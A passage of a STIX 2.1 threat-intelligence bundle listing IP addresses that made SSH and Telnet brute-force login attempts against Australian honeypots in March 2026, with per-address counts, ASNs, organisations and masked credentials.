      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--79321c38-8de4-4d11-b6e0-c71cd016ef54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): 3**********4, a***a, c****i, ***, a*****r. Passwords observed (masked): ***, 3***********4, 3**********4, 1****6, 1******8.",
      "id": "indicator--a5d14482-448e-4d1d-8df8-6dd161181c8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.111.162.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T20:15:07.000Z",
      "valid_until": "2026-04-12T20:15:05.000Z"
    },
    {
      "created": "2026-03-11T21:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a204883d-b41a-4f96-b9e4-7b9b8eb5a59f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.71.37.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T21:15:13.000Z",
      "valid_until": "2026-04-12T21:15:11.000Z"
    },
    {
      "created": "2026-03-11T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA. Usernames observed (masked): m**l, 3**********4, a******l, d***r, f******i. Passwords observed (masked): 1****3, 1****6, 1*****7, 1******2, 3***********4.",
      "id": "indicator--e48da5d2-7e6b-4e41-8fa0-7f1efb82b67d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.129.122.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T21:15:13.000Z",
      "valid_until": "2026-04-12T21:15:11.000Z"
    },
    {
      "created": "2026-03-11T21:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c48442f1-4b1b-42a8-bbf4-abe7cd2b6897",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.231.40.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T21:15:13.000Z",
      "valid_until": "2026-04-12T21:15:11.000Z"
    },
    {
      "created": "2026-03-11T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2d968f9d-a83d-4e8e-abbe-49e285d68fe3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.85.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T21:15:13.000Z",
      "valid_until": "2026-04-12T21:15:11.000Z"
    },
    {
      "created": "2026-03-11T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, i***l, s**d, w******n, a****s. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--cf6432ce-f9e1-44a7-8ae4-de6a70a1bd84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.36.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T22:15:13.000Z",
      "valid_until": "2026-04-12T22:15:12.000Z"
    },
    {
      "created": "2026-03-11T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s****a, u****u. Passwords observed (masked): s****a, u****u.",
      "id": "indicator--a73283b8-82f7-445e-8f30-d5b43a42d189",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.100.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T22:15:13.000Z",
      "valid_until": "2026-04-12T22:15:12.000Z"
    },
    {
      "created": "2026-03-11T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): f******r, ***, ***, n*******r, o****e. Passwords observed (masked): 1****6, ***, ***, f******r, n****t.",
      "id": "indicator--520f6c4b-cd49-4228-87dc-a63b098d406e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.238.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T22:15:13.000Z",
      "valid_until": "2026-04-12T22:15:12.000Z"
    },
    {
      "created": "2026-03-11T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): s***d, 3**********4, a*****r, c****e, ***. Passwords observed (masked): 1**4, ***, 1****6, 3***********4, 3**********4.",
      "id": "indicator--08c73961-291e-4a3e-9d34-85ef01c33972",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.11.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T22:15:13.000Z",
      "valid_until": "2026-04-12T22:15:12.000Z"
    },
    {
      "created": "2026-03-11T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): ***, 3**********4, a*****r, c****e, ***. Passwords observed (masked): 1**4, ***, 1****6, 3***********4, 3**********4.",
      "id": "indicator--1adc8e90-c1ed-4d11-868c-ca4dbf69784c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.26.135.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T22:15:13.000Z",
      "valid_until": "2026-04-12T22:15:12.000Z"
    },
    {
      "created": "2026-03-11T22:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6b3ccc9f-b0b7-4352-a725-84d4458b898b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T22:15:13.000Z",
      "valid_until": "2026-04-12T22:15:12.000Z"
    },
    {
      "created": "2026-03-11T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue.",
      "id": "indicator--2918981a-c194-4a84-af8c-a7e90864224a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.160.255.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T22:15:13.000Z",
      "valid_until": "2026-04-12T22:15:12.000Z"
    },
    {
      "created": "2026-03-11T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): 3**********4, a****s, c****e, d**a, f*******c. Passwords observed (masked): ***, 1**4, 1***5, 3**********4, F**********3.",
      "id": "indicator--fdddc31d-3d0e-4f82-859f-6b03e8d9750e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.206.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T22:15:13.000Z",
      "valid_until": "2026-04-12T22:15:12.000Z"
    },
    {
      "created": "2026-03-11T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--882498d0-1c9e-469a-a690-f550f6637f6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T22:15:13.000Z",
      "valid_until": "2026-04-12T22:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--a38b2ee6-916c-43be-87e1-1fe4dc76591f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.98.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y.",
      "id": "indicator--b206058c-a9d6-4335-916f-f3d09f2f0f6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.92.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: TZ. ASN(s): 327900. Organisation(s): SIMPLYCONNECT-Simply-Computers.",
      "id": "indicator--a169b195-e280-4047-a67a-c5be4d3f3816",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '169.239.0.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c6144a7e-f713-40b6-8876-8d9270380aad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.157.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1efca272-54a4-4760-9a36-0441720ceebd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.126.252.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fe695f2d-a143-4d53-9ff5-cda847ef5901",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--4e36bcdf-2eaf-4b74-b55c-6c0694d986d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.153.11.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132934. Organisation(s): Skymax Broadband Services Pvt. Ltd..",
      "id": "indicator--1efd7085-53d3-4a4d-a91d-d83599ea414f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.120.127.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--5f6fb5d8-ce28-424e-bb38-745c9d7dc37d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268468. Organisation(s): MXCONECT SERVICOS DE COMUNICACAO LTDA.",
      "id": "indicator--556ae342-477b-40fd-ac7b-3ad0b3576d73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.239.202.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited.",
      "id": "indicator--b62711c0-bc0a-4e39-9230-2214d5ab1227",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.180.145.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-11T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 12353. Organisation(s): Vodafone Portugal - Communicacoes Pessoais S.A.. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--1978332c-47c0-4ae6-b729-591f002127c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.103.82.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T23:15:13.000Z",
      "valid_until": "2026-04-12T23:15:12.000Z"
    },
    {
      "created": "2026-03-12T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 170. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): 3**********4, m****h, a***n, ***, r**t. Passwords observed (masked): 3**********4, 3***********4, Q*******3, T*******., m****h.",
      "id": "indicator--d9ffb119-545f-4333-a4b8-2d9b3e3397f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.251.251.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T00:15:15.000Z",
      "valid_until": "2026-04-13T00:15:13.000Z"
    },
    {
      "created": "2026-03-12T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--348595e5-ab8a-447b-be53-f3875c802155",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T00:15:15.000Z",
      "valid_until": "2026-04-13T00:15:13.000Z"
    },
    {
      "created": "2026-03-12T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4565845a-a40c-4578-a541-f050d55ec552",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T00:15:15.000Z",
      "valid_until": "2026-04-13T00:15:13.000Z"
    },
    {
      "created": "2026-03-12T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): k***t, **, 3**********4, h*****1, ***. Passwords observed (masked): 1****3, 3***********4, 3**********4, a***n, g****e.",
      "id": "indicator--3d724f8c-9257-4c4e-929f-a8979958064a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.217.145.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T01:15:13.000Z",
      "valid_until": "2026-04-13T01:15:11.000Z"
    },
    {
      "created": "2026-03-12T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, k***t, n***x, **, h*****1. Passwords observed (masked): 3***********4, 3**********4, !******x, 1****3, a****3.",
      "id": "indicator--eb62c164-696f-44d7-8022-dc0e1289c228",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.59.95.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T01:15:13.000Z",
      "valid_until": "2026-04-13T01:15:11.000Z"
    },
    {
      "created": "2026-03-12T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): s******5, 3**********4, h****n, r**t, ***. Passwords observed (masked): 1**4, 2*******m, 3***********4, 3**********4, S**********!.",
      "id": "indicator--e975a8be-35e5-4c5d-ab61-4b3900a2284f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T01:15:13.000Z",
      "valid_until": "2026-04-13T01:15:11.000Z"
    },
    {
      "created": "2026-03-12T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--97d86112-b281-4d92-87b7-42a0247e07ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-12T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.35.208.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T01:15:13.000Z",
      "valid_until": "2026-04-13T01:15:11.000Z"
    },
    {
      "created": "2026-03-12T01:15:13.000Z",
